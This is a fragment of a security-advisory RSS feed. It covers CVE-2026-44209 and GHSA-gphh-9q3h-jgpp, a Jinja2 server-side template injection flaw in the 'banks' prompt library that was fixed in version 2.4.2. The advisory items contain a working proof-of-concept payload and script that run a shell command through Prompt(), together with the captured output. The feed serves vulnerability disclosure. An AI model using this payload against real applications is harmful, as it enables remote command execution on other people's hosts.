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    <lastBuildDate>Fri, 09 Oct 2026 01:18:01 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-44209 — Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI</title>
      <link>https://cve.radiocsirt.org/vuln/cve-2026-44209</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; masci banks, Red Hat Exploit Intelligence, Red Hat OpenShift Lightspeed, Red Hat Ansible Automation Platform 2&lt;/p&gt;
&lt;p&gt;Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; masci banks, Red Hat Exploit Intelligence, Red Hat OpenShift Lightspeed, Red Hat Ansible Automation Platform 2&lt;/p&gt;
&lt;p&gt;Banks generates meaningful LLM prompts using a template language that makes sense. Prior to 2.4.2, banks uses jinja2.Environment() (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to Prompt() are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system. This vulnerability is fixed in 2.4.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/cve-2026-44209</guid>
    </item>
    <item>
      <title>GHSA-gphh-9q3h-jgpp — banks has Critical Remote Code Execution (RCE) via Jinja2 SSTI</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-gphh-9q3h-jgpp</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: banks&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`banks &amp;lt;= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.&lt;/p&gt;
&lt;p&gt;This is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:&lt;/p&gt;
&lt;p&gt;```python
env = Environment(
    autoescape=select_autoescape(enabled_extensions=(&amp;#34;html&amp;#34;, &amp;#34;xml&amp;#34;), default_for_string=False),
    ...
)
```&lt;/p&gt;
&lt;p&gt;## Attack Scenario&lt;/p&gt;
&lt;p&gt;An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:&lt;/p&gt;
&lt;p&gt;```python
# User-controlled input reaches Prompt()
user_input = &amp;#34;{{ self.__init__.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;id&amp;#39;).read() }}&amp;#34;
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host
```&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;**Setup:**
```bash
pip install banks==2.4.1
```&lt;/p&gt;
&lt;p&gt;**PoC script:**
```python
from banks import Prompt&lt;/p&gt;
&lt;p&gt;payload = &amp;#34;{{ self.__init__.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;id&amp;#39;).read() }}&amp;#34;
p = Prompt(payload)
result = p.text()
print(f&amp;#34;[+] Output: {result}&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;**Confirmed output:**
```
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...&lt;/p&gt;
&lt;p&gt;text&lt;/p&gt;
&lt;p&gt;**File-write proof:**
```…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: banks&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;`banks &amp;lt;= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.&lt;/p&gt;
&lt;p&gt;This is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.&lt;/p&gt;
&lt;p&gt;## Vulnerable Code&lt;/p&gt;
&lt;p&gt;`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:&lt;/p&gt;
&lt;p&gt;```python
env = Environment(
    autoescape=select_autoescape(enabled_extensions=(&amp;#34;html&amp;#34;, &amp;#34;xml&amp;#34;), default_for_string=False),
    ...
)
```&lt;/p&gt;
&lt;p&gt;## Attack Scenario&lt;/p&gt;
&lt;p&gt;An application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:&lt;/p&gt;
&lt;p&gt;```python
# User-controlled input reaches Prompt()
user_input = &amp;#34;{{ self.__init__.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;id&amp;#39;).read() }}&amp;#34;
p = Prompt(user_input)
p.text()  # Executes arbitrary command on the host
```&lt;/p&gt;
&lt;p&gt;## Proof of Concept&lt;/p&gt;
&lt;p&gt;**Setup:**
```bash
pip install banks==2.4.1
```&lt;/p&gt;
&lt;p&gt;**PoC script:**
```python
from banks import Prompt&lt;/p&gt;
&lt;p&gt;payload = &amp;#34;{{ self.__init__.__globals__.__builtins__.__import__(&amp;#39;os&amp;#39;).popen(&amp;#39;id&amp;#39;).read() }}&amp;#34;
p = Prompt(payload)
result = p.text()
print(f&amp;#34;[+] Output: {result}&amp;#34;)
```&lt;/p&gt;
&lt;p&gt;**Confirmed output:**
```
[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...&lt;/p&gt;
&lt;p&gt;text&lt;/p&gt;
&lt;p&gt;**File-write proof:**
```…&lt;/p&gt;</content:encoded>
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